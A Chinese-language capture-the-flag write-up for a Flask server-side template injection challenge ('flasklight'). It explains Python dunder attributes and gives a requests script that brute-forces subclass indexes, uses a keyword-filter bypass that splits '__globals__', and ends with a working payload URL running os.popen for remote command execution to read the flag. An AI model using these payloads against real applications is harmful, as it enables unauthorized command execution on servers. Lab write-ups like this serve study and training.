网页里有提示
参数为search,GET传值
测试{{7*7}}
存在SSTI模板注入,在这里简单介绍python魔法函数,与Flask内置
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的
__bases__以元组的形式返回一个类所继承的类
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
在python中''
包住的是字符串,他的类就是str,传入测试一下
果然回显了,往上找这个类的基类
python中每个类都属于object,所以我们定位到object类,再输出object下所有子类,注意__subclasses__后面有个(),代表他是调用这个方法
我们需要找到能够执行系统命令的,Ctrl+F查找常用的,发现有Popen
那这里我们可以尝试利用Popen下的os模块,但是这里我们用一个脚本,把当前所有类的模块都查一遍
每个模块可在类的__init__.__globals__下找到,但是这里globals被禁了,只要有这个词就返回500,所以把globals拆开再用+号相连,这个时候不需要前面的点
脚本
import time
import requests
for i in range(0, 300):
url = "http://932e9ea4-5fd2-4011-8ac4-f4ad790fd8bc.node4.buuoj.cn:81/?search={{''.__class__.__mro__[2].__subclasses__()[%d].__init__['__glob'+'als__']}}" % i
time.sleep(0.1)
r = requests.get(url)
if r.text.find("os") != -1:
print(i)
运行脚本等待一会,会输出所有包含os模块的类,大约几十个,随便用一个
然后就是调用os模块,构造os.popen('ls').read()
,造成RCE
http://932e9ea4-5fd2-4011-8ac4-f4ad790fd8bc.node4.buuoj.cn:81/?search={{''.__class__.__mro__[2].__subclasses__()[180].__init__["__glob"+"als__"]['os'].popen('ls').read()}}
发现有flasklight目录
ls flasklight发现有个coomme_geeeett_youur_flek
直接cat
这里提一下os.system与os.popen的区别
os.system返回的是状态码,此命令执行成功返回0,但不显示命令执行后的结果,比如ls,它回显一个0,但是无法查看ls的结果
os.popen可以看到命令回显,使用read()方法即可读取到